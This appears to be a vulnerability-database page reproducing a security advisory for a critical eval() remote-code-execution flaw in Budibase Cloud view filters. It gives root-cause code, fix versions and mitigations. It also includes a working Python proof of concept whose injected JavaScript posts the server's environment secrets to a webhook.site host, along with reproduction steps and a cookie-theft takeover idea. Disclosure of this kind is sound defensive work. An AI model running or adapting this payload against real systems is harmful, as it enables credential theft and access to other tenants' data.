NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
CRITICAL severity

Budibase: Remote Code Execution via Unsafe eval() in View Filter Map Function (Budibase Cloud)GHSA-rvhr-26g4-p2r8

CRITICALFix: Budibase/budibase#18087

GHSA-rvhr-26g4-p2r8 is a critical-severity (CVSS 9.9) Improper Input Validation vulnerability in budibase. A fix is available for budibase — see the affected versions and patch details below.

Also known asCVE-2026-27702
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 11, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-rvhr-26g4-p2r8.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs34th percentile — riskier than 34% of all scored CVEsHighest risk
0.00%0.35%0.71%1.06%0.1%0.4%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.

budibasenpm
65downloads / week

Description

Summary

A critical unsafe eval() vulnerability in Budibase's view filtering implementation allows any authenticated user (including free tier accounts) to execute arbitrary JavaScript code on the server. This vulnerability ONLY affects Budibase Cloud (SaaS) - self-hosted deployments use native CouchDB views and are not vulnerable. The vulnerability exists in packages/server/src/db/inMemoryView.ts where user-controlled view map functions are directly evaluated without sanitization.

The primary impact comes from what lives inside the pod's environment: the app-service pod runs with secrets baked into its environment variables, including INTERNAL_API_KEY, JWT_SECRET, CouchDB admin credentials, AWS keys, and more. Using the extracted CouchDB credentials, we verified direct database access, enumerated all tenant databases, and confirmed that user records (email addresses) are readable.

Details

Root Cause

File: packages/server/src/db/inMemoryView.ts:28

export async function runView(
  view: DBView,
  calculation: string,
  group: boolean,
  data: Row[]
) {
  // ...
  let fn = (doc: Document, emit: any) => emit(doc._id)
  // BUDI-7060 -> indirect eval call appears to cause issues in cloud
  eval("fn = " + view?.map?.replace("function (doc)", "function (doc, emit)"))  // UNSAFE EVAL
  // ...
}

Why Only Cloud is Vulnerable:

File: packages/server/src/sdk/workspace/rows/search/internal/internal.ts:194-221

if (env.SELF_HOSTED) {
  // Self-hosted: Uses native CouchDB design documents - NO EVAL
  response = await db.query(`database/${viewName}`, {
    include_docs: !calculation,
    group: !!group,
  })
} else {
  // Cloud: Uses in-memory PouchDB with UNSAFE EVAL
  const tableId = viewInfo.meta!.tableId
  const data = await fetchRaw(tableId!)
  response = await inMemoryViews.runView(  // <- Calls vulnerable function
    viewInfo,
    calculation as string,
    !!group,
    data
  )
}

The view.map parameter comes directly from user input when creating table views with filters. The code constructs a string by concatenating "fn = " with the user-controlled map function and passes it to eval(), allowing arbitrary JavaScript execution in the Node.js server context.

Self-hosted deployments are not affected because they use native CouchDB design documents instead of the in-memory eval() path.

Attack Flow

  1. Authenticated user creates a table view with custom filter
  2. Frontend sends POST request to /api/views with malicious payload in filter value
  3. Backend stores view configuration in CouchDB
  4. When view is queried (GET /api/views/{viewName}), runView() is called
  5. Malicious code is eval()'d on server - RCE achieved

Exploitation Vector

The vulnerability is triggered via the view filter mechanism. When creating a view with a filter condition, the filter value can be injected with JavaScript code that breaks out of the intended expression context:

Malicious filter value:

x" || (MALICIOUS_CODE_HERE, true) || "

This payload:

  • Closes the expected string context with x"
  • Uses || (OR operator) to inject arbitrary code
  • Returns true to make the filter always match
  • Closes with || "" to maintain valid syntax

Verified on Production

Tested on own Budibase Cloud account (y4ylfy7m.budibase.app,) to confirm severity. Testing was deliberately limited - no customer data was retained and exploitation was stopped once impact was confirmed:

  • Achieved RCE on app-service pod (hostname: app-service-5f4f6d796d-p6dhz, Kubernetes, eu-west-1)
  • Extracted process.env - confirmed presence of platform secrets (JWT_SECRET, INTERNAL_API_KEY, COUCH_DB_URL, MINIO_ACCESS_KEY, etc.)
  • Used extracted COUCH_DB_URL credentials to verify CouchDB access - enumerated database list (489,827 databases) to confirm scale of impact
  • Queried users table to confirm data is readable (retrieved email addresses)
  • Uploaded an HTML file as a PoC artifact to confirm write access.

Proof of Concept

PoC Script

import requests, time
from urllib.parse import urlparse

# Config | CHANGE THESE
URL = "https://[YOUR-TENANT].budibase.app"
WEBHOOK = "https://webhook.site/[YOUR-WEBHOOK-ID]"
JWT = "[YOUR-JWT-TOKEN]"          # budibase:auth cookie value
APP_ID = "app_dev_[TENANT]_[APP-UUID]"  # x-budibase-app-id header
TABLE_ID = "[YOUR-TABLE-ID]"      # any table ID (e.g. ta_users)

# Payload - parses hostname/path from WEBHOOK automatically
webhook_parsed = urlparse(WEBHOOK)
view = f"RCE_{int(time.time())}"
payload = f'''x" || (require('https').request({{hostname:'{webhook_parsed.hostname}',path:'{webhook_parsed.path}',method:'POST'}}).end(JSON.stringify(process.env)), true) || "'''

# Exploit
s = requests.Session()
s.cookies.set('budibase:auth', JWT)
s.headers.update({"x-budibase-app-id": APP_ID, "Content-Type": "application/json"})

print(f"[*] Creating view...")
s.post(f"{URL}/api/views", json={"tableId": TABLE_ID, "name": view, "filters": [{"key": "email", "condition": "EQUALS", "value": payload}]})

print(f"[*] Triggering RCE...")
s.get(f"{URL}/api/views/{view}")

print(f"[+] Done! Check: {WEBHOOK}")

Video Demo

https://github.com/user-attachments/assets/cd12e1ab-02fd-4d0d-9fb5-d78bb83cdf99

Reproduction Steps

  1. Prerequisites:

    • Create free Budibase Cloud account at https://budibase.app
    • Create a new app
    • Create a table with at least one text field
  2. Exploitation:

    • Copy the PoC script above
    • Replace placeholders with your tenant URL, app ID, table ID
    • Get your JWT token from browser cookies (budibase:auth)
    • Create a webhook at https://webhook.site for exfiltration
    • Run the script: python3 budibase_rce_poc.py
  3. Verification:

    • Check webhook.site - you'll receive all server environment variables
    • Extracted data includes JWT_SECRET, INTERNAL_API_KEY, database credentials

Additional Note

The budibase:auth session cookie has Domain=.budibase.app (leading dot = all subdomains) and no HttpOnly flag, making it readable by JavaScript. Since the RCE allows uploading arbitrary HTML files to any subdomain (as demonstrated with the PoC artifact), an attacker could serve an XSS payload from their own tenant subdomain and steal session cookies from any Budibase Cloud user who visits that page (one click ATO).

Responsible Disclosure Statement

This vulnerability was discovered during independent security research. Testing was conducted on a personal free-tier account only. Exploitation was deliberately limited to what was necessary to confirm the vulnerability and its impact:

  • No customer data was accessed beyond enumerating database names and confirming that user records (email addresses) are readable
  • The PoC HTML file uploaded to confirm write access is benign
  • This report is being submitted directly to Budibase security with no plans for public disclosure until a fix is in place
  • Before any public disclosure, this report must be redacted/simplified - all credentials, hostnames, internal API keys, tenant IDs, and other sensitive platform details included here for Budibase's remediation purposes must be removed or redacted

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmbudibaseall versions3.30.4npm install budibase@3.30.4

Affected Products

1 product · 1 configurations
Application
budibasebudibase
< 3.30.4
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for budibase, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update budibase to 3.30.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rvhr-26g4-p2r8 is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

## Summary A critical unsafe `eval()` vulnerability in Budibase's view filtering implementation allows any authenticated user (including free tier accounts) to execute arbitrary JavaScript code on the server. **This vulnerability ONLY affects Budibase Cloud (SaaS)** - self-hosted deployments use native CouchDB views and are not vulnerable. The vulnerability exists in `packages/server/src/db/inMemoryView.ts` where user-controlled view map functions are directly evaluated without sanitization. The primary impact comes from what lives inside the pod's environment: the `app-service` pod runs wit
O3 Security · Impact-Aware SCA

Is GHSA-rvhr-26g4-p2r8 in your dependencies?

Find it across npm, including transitive dependencies.

Budibase: Remote Code Execution via Unsafe eval() in…